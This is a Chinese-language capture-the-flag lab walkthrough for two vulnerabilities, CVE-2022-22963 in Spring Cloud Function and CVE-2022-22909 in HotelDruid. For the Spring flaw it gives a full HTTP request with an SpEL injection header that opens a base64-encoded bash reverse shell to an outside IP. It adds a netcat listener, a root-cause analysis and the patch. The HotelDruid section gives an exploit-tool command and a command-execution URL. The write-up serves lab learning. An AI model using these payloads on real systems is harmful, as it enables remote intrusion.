【春秋云境】CVE-2022-22963靶场WP
网站地址:https://yunjing.ichunqiu.com/
渗透测试
1.已知提示
- SpringCloudFunction是SpringBoot开发的一个Servless中间件(FAAS),支持基于SpEL的函数式动态路由。当Spring Cloud Function 启用动态路由functionRouter时, HTTP请求头spring.cloud.function.routing-expression参数存在SPEL表达式注入漏洞,攻击者可通过该漏洞进行远程命令执行。 题目链接为:http://ip:port P.S 卡慢不影响拿flag
2.开启靶场
3.BP抓包
-
访问路径/functionRouter ,并使用BP抓取请求包,并对其进行修改
-
修改请求方式为POST,请求体为test。中间添加内容类型为Content-Type: text/plain,并添加恶意代码
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNDguOTYuMTAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}")
其中
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNDguOTYuMTAwLzEyMzQgMD4mMQ==
为base64编码后的结果,原式为bash -i >& /dev/tcp/ip/port 0>&1
-
整体如下
POST /functionRouter HTTP/1.1 Host: 47.95.3.91:36363 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNDguOTYuMTAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}") Content-Type: text/plain Accept-Language: zh-CN,zh;q=0.9 Cookie: COOKIE_LAST_ADMIN_USER=admin; cookies_accepted=1 Connection: close Content-Length: 4 test
4.反弹shell
-
在自己的云服务器上监听1234端口(根据自己情况而定,记得修改防火墙规则)然后放行上面修改的请求包,反弹shell成功
nc -lnvp 1234
5.执行命令
-
cat /flag
从而获得flag
6.漏洞原理
-
Spring Cloud function 主要功能:
- 通过功能促进业务逻辑的实现
- 将业务逻辑的开发生命周期与任何特定的运行时目标分离,以便相同的代码可以作为Web端点,流处理器或任务运行
- 支持无服务器提供商之间的统一编程模型,以及独立运行(本地或PaaS)的能力
- 在无服务器提供商上启用Spring Boot功能(自动配置,依赖注入,指标)
-
代码分析
-
漏洞主要位置在:spring-cloud-function-context-3.2.2.jar!\org\springframework\cloud\function\context\config\RoutingFunction.class
-
从这里获取到spring.cloud.function.routing-expression的值,然后执行functionFromExpression,在这里调用了this.evalContext
-
evalContext的本质是实例化了StandardEvaluationContext,StandardEvaluationContext也是最典型的SpEL注入的关键字
-
漏洞原理倒是没有什么弯弯绕绕的,主要就是SpEL的利用
-
7.排查建议
-
添加一个isViaHeader
- 为true时:headerEvalContext = SimpleEvaluationContext
- 为false时:evalContext = new StandardEvaluationContext
-
官方已针对此漏洞发布修复补丁,请受影响的用户尽快修复。
官方链接:https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f
【春秋云境】CVE-2022-22909靶场WP
网站地址:https://yunjing.ichunqiu.com/
渗透测试
1.已知提示
- Hotel Druid RCE
2.开启靶场
3.下载工具
-
工具下载地址
https://github.com/0z09e/CVE-2022-22909
4.使用工具
-
应用程序没有身份验证,运用该–noauth标志不履行身份验证,使用以下命令
python3 .\exploit.py -t http://eci-2ze4kesepfiijn8067br.cloudeci1.ichunqiu.com/ --noauth
5.读取文件
-
访问
/dati/selectappartamenti.php?1=cat /flag